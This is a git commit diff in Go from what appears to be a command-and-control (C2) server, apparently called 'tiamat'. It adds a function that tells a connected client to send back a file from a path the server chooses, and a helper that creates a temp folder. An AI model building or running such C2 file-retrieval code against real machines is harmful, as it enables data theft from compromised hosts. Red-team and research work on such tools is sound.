Add function for receiving files from client
This commit is contained in:
parent
287d7f82c8
commit
7640b11d93
|
@ -121,6 +121,31 @@ func handleConn(conn net.Conn) {
|
||||||
go Heartbeat(ID)
|
go Heartbeat(ID)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func downloadFileC2(client Client, filepath string) (Response, error) {
|
||||||
|
checkTempFolder()
|
||||||
|
inst := Instructions{
|
||||||
|
IsDownload: true,
|
||||||
|
Path: filepath,
|
||||||
|
}
|
||||||
|
client.Instruct(inst)
|
||||||
|
message, err := ServerMessageReceiver(client.Conn)
|
||||||
|
if err != nil {
|
||||||
|
log.Println(err)
|
||||||
|
return message, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return message, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func checkTempFolder() {
|
||||||
|
if _, err := os.Stat("/tmp/tiamat/"); os.IsNotExist(err) {
|
||||||
|
err := os.Mkdir("/tmp/tiamat", 0700)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Error happened creating temp folder: %v\n", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func uploadFileC2(client Client, file multipart.FileHeader, whereToStore string) (Response, error) {
|
func uploadFileC2(client Client, file multipart.FileHeader, whereToStore string) (Response, error) {
|
||||||
openedFile, err := file.Open()
|
openedFile, err := file.Open()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|
Loading…
Reference in New Issue